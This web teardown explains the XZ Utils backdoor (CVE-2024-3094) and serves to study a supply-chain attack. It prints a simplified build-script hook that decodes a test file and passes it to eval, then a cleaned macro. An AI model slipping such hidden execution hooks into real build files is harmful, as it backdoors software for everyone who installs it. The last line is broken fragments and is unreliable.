flawopen.com/Teardowns/CVE-2024-3094 XZ Utils
Imagine a bank builds a vault using standard plumbing pipes. The official blueprints are clean. But the factory worker packing the shipping crates slips an invisible electronic wire inside the pipe. When the pipe is screwed into the vault on Linux, the wire taps into the bank's front door lock (OpenSSH), letting the worker open the vault anytime using a secret remote clicker. In CVE-2024-3094, the backdoor was hidden inside build scripts in release tarballs to secretly grant unauthenticated root access over SSH.
The malicious maintainer (Jia Tan) shipped corrupted test files in Git and an obfuscated extraction script in m4/build-to-host.m4 exclusively in official release tarballs. When built on Debian/Fedora, the script patched the compilation of liblzma to hook GNU IFUNC initialization, intercepting OpenSSL's RSA_public_decrypt inside sshd.
# Backdoored tarball: Extracts hidden binary object from test assets
gl_CONDITIONAL([COND_GNULIB_SNPRINTF], [test "$gl_cv_func_snprintf_retval_c99" = "yes"])
# Decodes obfuscated binary payload from test files using sed & tr
if test -f "$srcdir/tests/files/bad-3-corrupt_lzma2.xz"; then
eval $(tr " \-_" " _\-" < "$srcdir/tests/files/bad-3-corrupt_lzma2.xz" | head -n 1)
fi
# Replaces liblzma CRC64 resolver to hijack OpenSSH RSA_public_decrypt
# Fixed: Restored standard Gnulib macro; eliminated hidden execution hooks
gl_CONDITIONAL([COND_GNULIB_SNPRINTF], [test "$gl_cv_func_snprintf_retval_c99" = "yes"])
# Standard clean Autotools build-to-host path resolution
AC_DEFUN([gl_BUILD_TO_HOST],
[
AC_REQUIRE([gl_BUILD_TO_HOST_BINDIR])
])
libsystemd (for startup notification), which linked liblzma for compression.:RSA_public_decrypt.:-Wl,-z,relro,-z,now to make the Global Offset Table read-only before user code runs.